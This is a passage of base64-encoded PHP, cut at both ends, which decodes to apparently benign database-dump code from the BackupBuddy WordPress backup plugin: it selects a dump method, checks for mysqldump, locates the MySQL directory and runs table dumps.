wcmVmaXggPSAkZGF0YWJhc2VfcHJlZml4OwoKCQlpZiAoIGlzX2FycmF5KCAkZm9yY2VfbWV0aG9kcyApICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdteXNxbGJ1ZGR5OiBGb3JjZSBtZXRob2Qgb2YgYCcgLiBjb3VudCggJGZvcmNlX21ldGhvZHMgKSAuICdgIHBhc3NlZC4nICk7CgkJfSBlbHNlIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnbXlzcWxidWRkeTogRm9yY2UgbWV0aG9kIG5vdCBhbiBhcnJheS4nICk7CgkJfQoKCQkvLyBTZXQgbWVjaGFuaXNtIGZvciBkdW1waW5nIC8gcmVzdG9yaW5nLgoJCWlmICggY291bnQoICRmb3JjZV9tZXRob2RzICkgPiAwICkgeyAvLyBNZWNoYW5pc20gZm9yY2VkLiBPdmVycmlkaW5nIGF1dG9tYXRpYyBjaGVjay4KCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnbXlzcWxidWRkeTogU2V0dGluZ3Mgb3ZlcnJpZGluZyBhdXRvbWF0aWMgZGV0ZWN0aW9uIG9mIGF2YWlsYWJsZSBkYXRhYmFzZSBkdW1wIG1ldGhvZHMuIFVzaW5nIGZvcmNlZCBvdmVycmlkZSBtZXRob2RzOiBgJyAuIGltcGxvZGUoICcsJywgJGZvcmNlX21ldGhvZHMgKSAuICdgLicgKTsKCQkJaWYgKCBpbl9hcnJheSggJ2NvbW1hbmRsaW5lJywgJGZvcmNlX21ldGhvZHMgKSApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0ZvcmNlZCBtZXRob2RzIGluY2x1ZGUgY29tbWFuZGxpbmUgc28gY2FsY3VsYXRpbmcgbXlzcWwgZGlyZWN0b3J5LicgKTsKCQkJCSR0aGlzLT5fbXlzcWxfZGlyZWN0b3JpZXMgPSAkdGhpcy0+X2NhbGN1bGF0ZV9teXNxbF9kaXIoKTsgLy8gVHJ5IHRvIGRldGVybWluZSBteXNxbCBsb2NhdGlvbiAvIHBvc3NpYmxlIGxvY2F0aW9ucy4KCQkJCSR0aGlzLT5fbWV0aG9kcyAgICAgICAgICAgPSAkdGhpcy0+YXZhaWxhYmxlX2R1bXBfbWV0aG9kcygpOyAvLyBSdW4gYWZ0ZXIgX2NhbGN1bGF0ZV9teXNxbF9kaXIoKS4KCQkJfQoJCQkkdGhpcy0+X21ldGhvZHMgPSAkZm9yY2VfbWV0aG9kczsKCQl9IGVsc2UgeyAvLyBObyBtZXRob2QgZGVmaW5lZDsgYXV0by1kZXRlY3QgdGhlIGJlc3QuCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgJ215c3FsYnVkZHk6IE1ldGhvZCBub3QgZm9yY2VkLiBBYm91dCB0byBkZXRlY3QgZGlyZWN0b3J5IGFuZCBhdmFpbGFibGUgbWV0aG9kcy4nICk7CgoJCQkkdGhpcy0+X215c3FsX2RpcmVjdG9yaWVzID0gJHRoaXMtPl9jYWxjdWxhdGVfbXlzcWxfZGlyKCk7IC8vIFRyeSB0byBkZXRlcm1pbmUgbXlzcWwgbG9jYXRpb24gLyBwb3NzaWJsZSBsb2NhdGlvbnMuCgkJCSR0aGlzLT5fbWV0aG9kcyAgICAgICAgICAgPSAkdGhpcy0+YXZhaWxhYmxlX2R1bXBfbWV0aG9kcygpOyAvLyBSdW4gYWZ0ZXIgX2NhbGN1bGF0ZV9teXNxbF9kaXIoKS4KCQl9CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnbXlzcWxidWRkeTogRGV0ZWN0ZWQgZGF0YWJhc2UgZHVtcCBtZXRob2RzOiBgJyAuIGltcGxvZGUoICcsJywgJHRoaXMtPl9tZXRob2RzICkgLiAnYC4nICk7CgoJCS8vIEZpZ3VyZSBvdXQgbWF4IGV4ZWN1dGlvbiB0aW1lIGFsbG93ZWQuCgkJaWYgKCAoICcnICE9ICRtYXhfZXhlY3V0aW9uICkgJiYgKCBpc19udW1lcmljKCAkbWF4X2V4ZWN1dGlvbiApICkgKSB7CgkJCSR0aGlzLT5fbWF4RXhlY3V0aW9uVGltZSA9ICRtYXhfZXhlY3V0aW9uOwoJCX0gZWxzZSB7IC8vIE5vdCBwYXNzZWQuIERlZHVjZS4KCQkJaWYgKCBpc3NldCggcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydtYXhfZXhlY3V0aW9uX3RpbWUnXSApICkgewoJCQkJJHRoaXMtPl9tYXhFeGVjdXRpb25UaW1lID0gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydtYXhfZXhlY3V0aW9uX3RpbWUnXTsKCQkJfSBlbHNlIHsKCQkJCS8vIERldGVjdCBtYXggZXhlY3V0aW9uIHRpbWUuCgkJCQkkdGhpcy0+X21heEV4ZWN1dGlvblRpbWUgPSBiYWNrdXBidWRkeV9jb3JlOjpkZXRlY3RNYXhFeGVjdXRpb25UaW1lKCk7CgkJCX0KCQl9CgkJaWYgKCAnLTEnID09ICR0aGlzLT5fbWF4RXhlY3V0aW9uVGltZSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTWF4IGV4ZWN1dGlvbiB0aW1lIGNodW5raW5nIGRpc2FibGVkIGJ5IHBhc3NpbmcgLTEgdG8gY29uc3RydWN0b3IuIE5vIGNodW5raW5nIHdpbGwgYmUgdXNlZCBmb3IgdGhlIGRhdGFiYXNlIGR1bXAuJyApOwoJCX0gZWxzZSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0lmIGFwcGxpY2FibGUsIGJyZWFraW5nIHVwIHdpdGggbWF4IGV4ZWN1dGlvbiB0aW1lIGAnIC4gJHRoaXMtPl9tYXhFeGVjdXRpb25UaW1lIC4gJ2Agc2Vjb25kcy4nICk7CgkJfQoKCQlnbG9iYWwgJHdwZGI7CgoJCSR0aGlzLT5fY3VycmVudF9zcWxfdmVyc2lvbiA9IFBCX0JhY2t1cGJ1ZGR5X0RCX0hlbHBlcnM6OmdldF9kYl92ZXJzaW9uKCk7CgkJaWYgKCBQQl9CYWNrdXBidWRkeV9EQl9IZWxwZXJzOjppc19tYXJpYV9kYigpICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdUaGlzIHNlcnZlclwncyBtYXJpYWRiIHZlcnNpb246IGAnIC4gJHRoaXMtPl9jdXJyZW50X3NxbF92ZXJzaW9uIC4gJ2AuJyApOwoJCX0gZWxzZSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1RoaXMgc2VydmVyXCdzIG15c3FsIHZlcnNpb246IGAnIC4gJHRoaXMtPl9jdXJyZW50X3NxbF92ZXJzaW9uIC4gJ2AuJyApOwoJCX0KCgl9IC8vIEVuZCBfX2NvbnN0cnVjdCgpLgoKCS8qKgoJICogU2V0IHRoZSBteXNxbCB2ZXJzaW9uIHdoaWNoIGNyZWF0aW5nIHRoZSBTUUwgZmlsZShzKSB3ZSB3aWxsIGJlIGltcG9ydGluZy4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICR2ZXJzaW9uICBJbmNvbWluZyBTUUwgdmVyc2lvbiBudW1iZXIuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBzZXRfaW5jb21pbmdfc3FsX3ZlcnNpb24oICR2ZXJzaW9uICkgewoJCSR0aGlzLT5faW5jb21pbmdfc3FsX3ZlcnNpb24gPSAkdmVyc2lvbjsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdTZXQgaW5jb21pbmcgU1FMIG15c3FsIHZlcnNpb24gdG8gYCcgLiAkdGhpcy0+X2luY29taW5nX3NxbF92ZXJzaW9uIC4gJ2AuJyApOwoKCQlpZiAoIHZlcnNpb25fY29tcGFyZSggJHRoaXMtPl9pbmNvbWluZ19zcWxfdmVyc2lvbiwgJzUuMS4wJywgJzwnICkgJiYgdmVyc2lvbl9jb21wYXJlKCAkdGhpcy0+X2N1cnJlbnRfc3FsX3ZlcnNpb24sICc1LjEuMCcsICc+PScgKSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ3dhcm5pbmcnLCAnRXJyb3IgIzcwMDE6IFRoaXMgc2VydmVyXCdzIG15c3FsIHZlcnNpb24sIGAnIC4gJHRoaXMtPl9jdXJyZW50X3NxbF92ZXJzaW9uIC4gJ2AgbWF5IGhhdmUgU1FMIHF1ZXJ5IGluY29tcGF0aWJpbGl0aWVzIHdpdGggdGhlIGJhY2t1cCBteXNxbCB2ZXJzaW9uIGAnIC4gJHRoaXMtPl9pbmNvbWluZ19zcWxfdmVyc2lvbiAuICdgLiBUaGlzIG1heSByZXN1bHQgaW4gIzkwMTAgZXJyb3JzIGR1ZSB0byBzeW50YXggb2YgVFlQRT0gY2hhbmdpbmcgdG8gRU5HSU5FPS4gSWYgbm9uZSBvY2N1ciB5b3UgbWF5IGlnbm9yZSB0aGlzIGVycm9yLicgKTsKCQkJJHRoaXMtPl9ob3RmaXhfNzAwMSA9IHRydWU7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0VuYWJsaW5nIGhvdGZpeCAjNzAwMSB0byByZXBsYWNlIFRZUEU9IHdpdGggRU5HSU5FPSBpbiBTUUwgc3ludGF4LicgKTsKCQl9Cgl9IC8vIEVuZCBzZXRfaW5jb21pbmdfc3FsX3ZlcnNpb24oKS4KCgkvKioKCSAqIFdoZW4gZW5hYmxlZCBieSBwYXNzaW5nIHRydWUsIEJhY2t1cEJ1ZGR5IHdpbGwgZHVtcCBpbmRpdmlkdWFsIHRhYmxlcyB0byB0aGVpciBvd24gZGF0YWJhc2UgZmlsZSAoZWcgd3Bfb3B0aW9ucy5zcWwsIHdwX3Bvc3RzLnNxbCwgZXRjKSB3aGVuIHBvc3NpYmxlIGJhc2VkIG9uIG90aGVyIGNyaXRlcmlhIHN1Y2ggYXMgdGhlIGR1bXAgbWV0aG9kIGFuZCB3aGV0aGVyIGJyZWFraW5nIG91dCBiaWcgdGFibGVzIGlzIGVuYWJsZWQuCgkgKgoJICogQHBhcmFtIGJvb2wgJGZvcmNlICBXaGV0aGVyIG9yIG5vdCB0byBmb3JjZSB0byBzaW5nbGUgZmlsZS4gRGVmYXVsdHMgdG8gVFJVRSBpZiB0aGlzIGZ1bmN0aW9uIGlzIGNhbGxlZC4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIGZvcmNlX3NpbmdsZV9kYl9maWxlKCAkZm9yY2UgPSB0cnVlICkgewoJCWlmICggdHJ1ZSA9PT0gJGZvcmNlICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdGb3JjaW5nIGRhdGFiYXNlIGJhY2t1cHMgdG8gZ28gaW50byBhIHNpbmdsZSBkYl8xLnNxbCBmaWxlIGRlc3BpdGUgb3RoZXIgc2V0dGluZ3MuJyApOwoJCQkkdGhpcy0+X2ZvcmNlX3NpbmdsZV9kYl9maWxlID0gdHJ1ZTsKCQl9IGVsc2UgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdFbmFibGluZyBkYXRhYmFzZSBiYWNrdXBzIHRvIGdvIGludG8gaW5kaXZpZHVhbCB0YWJsZW5hbWUuc3FsIGZpbGVzIGFzIHBvc3NpYmxlLicgKTsKCQkJJHRoaXMtPl9mb3JjZV9zaW5nbGVfZGJfZmlsZSA9IGZhbHNlOwoJCX0KCX0gLy8gRW5kIGZvcmNlX3NpbmdsZV9kYl9maWxlKCkuCgoJLyoqCgkgKiBSZXR1cm5zIGF2YWlsYWJsZSBkdW1wIG1ldGhvZHMKCSAqCgkgKiBAcmV0dXJuIHN0cmluZyBQb3NzaWJsZSByZXR1cm5zOiAgbXlzcWxkdW1wLCBwaHAKCSAqLwoJcHVibGljIGZ1bmN0aW9uIGF2YWlsYWJsZV9kdW1wX21ldGhvZHMoKSB7CgoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ215c3FsZHVtcCB0ZXN0OiBUZXN0aW5nIGF2YWlsYWJsZSBteXNxbCBkYXRhYmFzZSBkdW1wIG1ldGhvZHMuJyApOwoJCWlmICggZnVuY3Rpb25fZXhpc3RzKCAnZXhlYycgKSApIHsgLy8gRXhlYyBpcyBhdmFpbGFibGUgc28gdGVzdCBteXNxbGR1bXAgZnJvbSBoZXJlLgoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdteXNxbGR1bXAgdGVzdDogZXhlYygpIGZ1bmN0aW9uIGV4aXN0cy4gVGVzdGluZyBydW5uaW5nIG15c3FsZHVtcCB2aWEgZXhlYygpLicgKTsKCgkJCS8qKioqKioqKioqIEJlZ2luIHByZXBhcmluZyBjb21tYW5kICovCgkJCS8vIEhhbmRsZSBXaW5kb3dzIHdhbnRpbmcgLmV4ZS4KCQkJaWYgKCBzdHJpc3RyKCBQSFBfT1MsICdXSU4nICkgJiYgISBzdHJpc3RyKCBQSFBfT1MsICdEQVJXSU4nICkgKSB7IC8vIFJ1bm5pbmcgV2luZG93cy4gKG5vdCBkYXJ3aW4pLgoJCQkJJGNvbW1hbmQgPSAnbXNxbGR1bXAuZXhlJzsKCQkJfSBlbHNlIHsKCQkJCSRjb21tYW5kID0gJ215c3FsZHVtcCc7CgkJCX0KCgkJCSRjb21tYW5kIC49ICcgLS12ZXJzaW9uJzsKCgkJCS8vIFJlZGlyZWN0IFNUREVSUiB0byBTVERPVVQuCgkJCSRjb21tYW5kIC49ICcgIDI+JjEnOwoKCQkJLyoqKioqKioqKiogRW5kIHByZXBhcmluZyBjb21tYW5kICovCgoJCQkvLyBMb29wIHRocm91Z2ggYWxsIHBvc3NpYmxlIGRpcmVjdG9yaWVzIHRvIHJ1biBjb21tYW5kIHRocm91Z2guCgkJCWZvcmVhY2ggKCAkdGhpcy0+X215c3FsX2RpcmVjdG9yaWVzIGFzICRteXNxbF9kaXJlY3RvcnkgKSB7IC8vIFRyeSBlYWNoIHBvc3NpYmxlIGRpcmVjdG9yeS4gbXlzcWwgZGlyZWN0b3J5IGluY2x1ZGVkIHRyYWlsaW5nIHNsYXNoLgoKCQkJCS8vIFJ1biBjb21tYW5kLgoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnbXlzcWxkdW1wIHRlc3QgcnVubmluZyBuZXh0LicgKTsKCQkJCWxpc3QoICRleGVjX291dHB1dCwgJGV4ZWNfZXhpdF9jb2RlICkgPSAkdGhpcy0+X2NvbW1hbmRidWRkeS0+ZXhlY3V0ZSggJG15c3FsX2RpcmVjdG9yeSAuICRjb21tYW5kICk7CgoJCQkJaWYgKCBzdHJpc3RyKCBpbXBsb2RlKCAnICcsICRleGVjX291dHB1dCApLCAnVmVyJyApICE9PSBmYWxzZSApIHsgLy8gU3RyaW5nIFZlciBhcHBlYXJlZCBpbiByZXNwb25zZSAoZXhwZWN0ZWQgcmVzcG9uc2UgdG8gbXlzcWxkdW1wIC0tdmVyc2lvbi4KCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdteXNxbGR1bXAgdGVzdDogQ29tbWFuZCBhcHBlYXJzIHRvIGJlIGFjY2Vzc2libGUgYW5kIHJldHVybnMgZXhwZWN0ZWQgcmVzcG9uc2UuJyApOwoJCQkJCSR0aGlzLT5fbXlzcWxfZGlyZWN0b3J5ID0gJG15c3FsX2RpcmVjdG9yeTsgLy8gU2V0IHRvIHVzZSB0aGlzIGRpcmVjdG9yeSBmb3IgdGhlIHJlYWwgZHVtcC4KCQkJCQlyZXR1cm4gYXJyYXkoICdwaHAnLCAnY29tbWFuZGxpbmUnICk7IC8vIG15c3FsZHVtcCBiZXN0LCBwaHAgbmV4dC4KCQkJCX0KCQkJfQoJCX0gZWxzZSB7IC8vIE5vIGV4ZWMoKSBzbyBtdXN0IGZhbGwgYmFjayB0byBQSFAgbWV0aG9kIG9ubHkuCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ215c3FsZHVtcCB0ZXN0OiBleGVjKCkgdW5hdmFpbGFibGUgc28gc2tpcHBpbmcgY29tbWFuZCBsaW5lIG15c3FsZHVtcCBjaGVjay4nICk7CgkJCXJldHVybiBhcnJheSggJ3BocCcgKTsKCQl9CgoJCXJldHVybiBhcnJheSggJ3BocCcgKTsKCgl9IC8vIEVuZCBhdmFpbGFibGVfZHVtcF9tZXRob2QoKS4KCgkvKioKCSAqIFRyaWVzIHRvIGRldGVybWluZSB0aGUgcGF0aCB0byB3aGVyZSBteXNxbCBpcyBpbnN0YWxsZWQuICBOZWVkZWQgZm9yIHJ1bm5pbmcgYnkgY29tbWFuZCBsaW5lLiAgUHJlcGVuZHMgZm91bmQgbG9jYXRpb24gdG8gbGlzdCBvZiBwb3NzaWJsZSBkZWZhdWx0IG15c3FsIGRpcmVjdG9yaWVzLgoJICoKCSAqIEByZXR1cm4gYXJyYXkgIEFycmF5IG9mIGRpcmVjdG9yaWVzIGluIHByZWZlcnJlZCBvcmRlci4KCSAqLwoJcHJpdmF0ZSBmdW5jdGlvbiBfY2FsY3VsYXRlX215c3FsX2RpcigpIHsKCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnbXlzcWxidWRkeTogQXR0ZW1wdGluZyB0byBjYWxjdWxhdGUgZXhhY3QgbXlzcWwgZGlyZWN0b3J5LicgKTsKCQkkZmFpbGVkICAgICAgICAgICAgPSB0cnVlOwoJCSRteXNxbF9kaXJlY3RvcmllcyA9ICR0aGlzLT5fZGVmYXVsdF9teXNxbF9kaXJlY3RvcmllczsKCgkJZ2xvYmFsICR3cGRiOwoJCSRiYXNlZGlyID0gJHdwZGItPmdldF9yZXN1bHRzKCAiU0hPVyBWQVJJQUJMRVMgTElLRSAnYmFzZWRpciciLCBBUlJBWV9OICk7CgkJaWYgKCBmYWxzZSAhPT0gJGJhc2VkaXIgKSB7CgkJCSRiYXNlZGlydHJpbSA9IHJ0cmltKCAkYmFzZWRpclswXVsxXSwgJy9cXCcgKTsgLy8gVHJpbSB0cmFpbGluZyBzbGFzaGVzLgoJCQkkbXlzcWxkaXIgICAgPSAkYmFzZWRpcnRyaW0gLiAnL2Jpbi8nOwoJCQlhcnJheV91bnNoaWZ0KCAkbXlzcWxfZGlyZWN0b3JpZXMsICRteXNxbGRpciApOyAvLyBQcmVwZW5kcyB0aGUganVzdCBmb3VuZCBkaXJlY3RvcnkgdG8gdGhlIGJlZ2lubmluZyBvZiB0aGUgbGlzdC4KCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnbXlzcWxidWRkeTogTXlzcWwgcmVwb3J0ZWQgaXRzIGRpcmVjdG9yeS4gUmVwb3J0ZWQ6IGAnIC4gJGJhc2VkaXJbMF1bMV0gLiAnYDsgQWRkaW5nIGJpbmFyeSBsb2NhdGlvbiB0byBiZWdpbm5pbmcgb2YgbXlzcWwgZGlyZWN0b3J5IGxpc3Q6IGAnIC4gJG15c3FsZGlyIC4gJ2AnICk7CgkJCSRmYWlsZWQgPSBmYWxzZTsKCQl9CgoJCWlmICggdHJ1ZSA9PT0gJGZhaWxlZCApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnbXlzcWxidWRkeTogTXlzcWwgd291bGQgbm90IHJlcG9ydCBpdHMgZGlyZWN0b3J5LicgKTsKCQl9CgoJCXJldHVybiAkbXlzcWxfZGlyZWN0b3JpZXM7CgoJfSAvLyBFbmQgX2NhbGN1bGF0ZV9teXNxbF9kaXIoKS4KCgkvKioKCSAqIER1bXBzIFNRTCBiYXNlZCBvbiBjaG9zZW4gbWV0aG9kLgoJICoKCSAqIEBzZWUgX215c3FsZHVtcCgpCgkgKiBAc2VlIF9waHBkdW1wKCkKCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRvdXRwdXRfZGlyZWN0b3J5ICBEaXJlY3RvcnkgdG8gb3V0cHV0IHRvLiBNYXkgYWxzbyBiZSB1c2VkIGFzIGEgdGVtcG9yYXJ5IGZpbGUgbG9jYXRpb24uIFRyYWlsaW5nIHNsYXNoIGF1dG8tYWRkZWQgaWYgbWlzc2luZy4KCSAqIEBwYXJhbSBhcnJheSAgJHRhYmxlcyAgICAgICAgICAgIEFycmF5IG9mIHRhYmxlcyB0byBkdW1wLgoJICogQHBhcmFtIGludCAgICAkcm93c19zdGFydCAgICAgICAgU3RhcnRpbmcgcm93LCBpZiBhbnkuIE9ubHkgd29ya3Mgd2l0aCBQSFAgbW9kZS4gVXNlZCB3aXRoIGNodW5raW5nLgoJICoKCSAqIEByZXR1cm4gYm9vbCAgSWYgc3VjY2Vzc2Z1bCBvciBub3QuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBkdW1wKCAkb3V0cHV0X2RpcmVjdG9yeSwgJHRhYmxlcyA9IGFycmF5KCksICRyb3dzX3N0YXJ0ID0gMCApIHsKCQkkb3V0cHV0X2RpcmVjdG9yeSA9IHJ0cmltKCAkb3V0cHV0X2RpcmVjdG9yeSwgJy8nICkgLiAnLyc7IC8vIE1ha2Ugc3VyZSB3ZSBoYXZlIHRyYWlsaW5nIHNsYXNoLgoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtaWxlc3RvbmUnLCAnc3RhcnRfZGF0YWJhc2UnICk7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnU3RhcnRpbmcgZGF0YWJhc2UgZHVtcCBwcm9jZWR1cmUuJyApOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgIm15c3FsYnVkZHk6IE91dHB1dCBkaXJlY3Rvcnk6IGB7JG91dHB1dF9kaXJlY3Rvcnl9YC4iICk7CgkJaWYgKCBjb3VudCggJHRhYmxlcyApID09IDEgKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0R1bXBpbmcgc2luZ2xlIHRhYmxlIGAnIC4gJHRhYmxlc1swXSAuICdgLicgKTsKCQl9IGVsc2UgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdUYWJsZSBkdW1wIGNvdW50OiBgJyAuIGNvdW50KCAkdGFibGVzICkgLiAnYC4nICk7CgkJfQoJCWlmICggZmlsZV9leGlzdHMoICRvdXRwdXRfZGlyZWN0b3J5IC4gJ2RiXzEuc3FsJyApICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdEYXRhYmFzZSBTUUwgZmlsZSBleGlzdHMuIEl0IHdpbGwgYmUgYXBwZW5kZWQgdG8uJyApOwoJCX0KCgkJLy8gQXR0ZW1wdCBlYWNoIG1ldGhvZCBpbiBvcmRlci4KCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdQcmVwYXJpbmcgdG8gZHVtcCB1c2luZyBhdmFpbGFibGUgbWV0aG9kKHMpIGJ5IHByaW9yaXR5LiBNZXRob2RzOiBgJyAuIGltcGxvZGUoICcsJywgJHRoaXMtPl9tZXRob2RzICkgLiAnYCcgKTsKCQlmb3JlYWNoICggJHRoaXMtPl9tZXRob2RzIGFzICRtZXRob2QgKSB7CgkJCSRyZXR1cm4gPSBmYWxzZTsKCQkJaWYgKCBtZXRob2RfZXhpc3RzKCAkdGhpcywgIl9kdW1wX3skbWV0aG9kfSIgKSApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ215c3FsYnVkZHk6IEF0dGVtcHRpbmcgZHVtcCBtZXRob2QgYCcgLiAkbWV0aG9kIC4gJ2AuJyApOwoJCQkJJHJlc3VsdCA9IGNhbGxfdXNlcl9mdW5jKCBhcnJheSggJHRoaXMsICJfZHVtcF97JG1ldGhvZH0iICksICRvdXRwdXRfZGlyZWN0b3J5LCAkdGFibGVzLCAkcm93c19zdGFydCApOwoKCQkJCWlmICggdHJ1ZSA9PT0gJHJlc3VsdCApIHsgLy8gRHVtcCBjb21wbGV0ZWQgc3VjY2VzZnVsbHkgd2l0aCB0aGlzIG1ldGhvZC4KCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdteXNxbGJ1ZGR5OiBEdW1wIG1ldGhvZCBgJyAuICRtZXRob2QgLiAnYCBjb21wbGV0ZWQgc3VjY2Vzc2Z1bGx5LicgKTsKCQkJCQkkcmV0dXJuID0gdHJ1ZTsKCQkJCQlicmVhazsKCQkJCX0gZWxzZWlmICggZmFsc2UgPT09ICRyZXN1bHQgKSB7IC8vIER1bXAgZmFpbGVkIHRoaXMgbWV0aG9kLiBXaWxsIHRyeSBjb21wYXRpYmlsaXR5IGZhbGxiYWNrIHRvIG5leHQgbW9kZSBpZiBhYmxlLgoJCQkJCS8vIERvIG5vdGhpbmcuIFdpbGwgdHJ5IG5leHQgbW9kZSBuZXh0IGxvb3AuCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnbXlzcWxidWRkeTogRHVtcCBtZXRob2QgYCcgLiAkbWV0aG9kIC4gJ2AgZmFpbGVkLiBUcnlpbmcgYW5vdGhlciBjb21wYXRpYmlsaXR5IG1vZGUgbmV4dCBpZiBhYmxlLicgKTsKCQkJCX0gZWxzZWlmICggaXNfYXJyYXkoICRyZXN1bHQgKSApIHsgLy8gQ2h1bmtpbmcuCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnbXlzcWxidWRkeTogRHVtcCBtZXRob2QgYCcgLiAkbWV0aG9kIC4gJ2AgaXMgdXNpbmcgY2h1bmtpbmcuJyApOwoJCQkJCXJldHVybiAkcmVzdWx0OwoJCQkJfSBlbHNlIHsgLy8gU29tZXRoaW5nIGVsc2UgcmV0dXJuZWQ7IG5lZWQgdG8gcmVzdW1lPyBUT0RPOiB0aGlzIGlzIGZvciBmdXR1cmUgdXNlIGZvciByZXN1bWluZyBkdW1wLgoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ215c3FsYnVkZHk6IFVuZXhlcGVjdGVkIHJlc3BvbnNlOiBgJyAuIGltcGxvZGUoICcsJywgJHJlc3VsdCApIC4gJ2AnICk7CgkJCQkJJHJldHVybiA9IGZhbHNlOwoJCQkJfQoJCQl9CgkJfSAvLyBlbmQgZm9yZWFjaC4KCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21pbGVzdG9uZScsICdmaW5pc2hfZGF0YWJhc2UnICk7CgoJCWlmICggdHJ1ZSA9PT0gJHJldHVybiApIHsgLy8gU3VjY2Vzcy4KCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnRGF0YWJhc2UgZHVtcCBwcm9jZWR1cmUgc3VjY2VlZGVkLicgKTsKCQkJcmV0dXJuIHRydWU7CgkJfSBlbHNlIHsgLy8gT3ZlcmFsbCBmYWlsdXJlLgoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnRGF0YWJhc2UgZHVtcCBwcm9jZWR1cmUgZmFpbGVkLicgKTsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgl9IC8vIEVuZCBkdW1wKCkuCgoKCS8qKgoJICogRHVtcCB2aWEgQ29tbWFuZGxpbmUuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkb3V0cHV0X2RpcmVjdG9yeSAgRGlyZWN0b3J5IHRvIG91dHB1dCB0by4gTWF5IGFsc28gYmUgdXNlZCBhcyBhIHRlbXBvcmFyeSBmaWxlIGxvY2F0aW9uLiBUcmFpbGluZyBzbGFzaCByZXF1aXJlZC4gZHVtcCgpIGF1dG8tYWRkcyB0cmFpbGluZyBzbGFzaCBiZWZvcmUgcGFzc2luZy4KCSAqIEBwYXJhbSBhcnJheSAgJHRhYmxlcyAgICAgICAgICAgIEFycmF5IG9mIHRhYmxlcyB0byBkdW1wLiBJZiBvbmx5IG9uZSB0YWJsZSBpbiBhcnJheSB0aGVuIHdpbGwgdXNlIFRBQkxFTkFNRS5zcWwgaW5zdGVhZCBvZiBkYl8xLnNxbC4KCSAqIEBwYXJhbSBpbnQgICAgJHJvd3Nfc3RhcnQgICAgICAgIE4vQS4gTm90IHVzZWQgYnkgdGhpcyBtZXRob2QuCgkgKgoJICogQHJldHVybiBib29sICBJZiBzdWNjZXNzZnVsIG9yIG5vdC4KCSAqLwoJcHJpdmF0ZSBmdW5jdGlvbiBfZHVtcF9jb21tYW5kbGluZSggJG91dHB1dF9kaXJlY3RvcnksICR0YWJsZXMsICRyb3dzX3N0YXJ0ID0gMCApIHsKCQlpZiAoICggY291bnQoICR0YWJsZXMgKSA9PSAxICkgJiYgKCBmYWxzZSA9PT0gJHRoaXMtPl9mb3JjZV9zaW5nbGVfZGJfZmlsZSApICkgeyAvLyBJZiBvbmx5IG9uZSB0YWJsZSB0aGVuIG5hbWUgLnNxbCBmaWxlIGFmdGVyIGl0LgoJCQkkb3V0cHV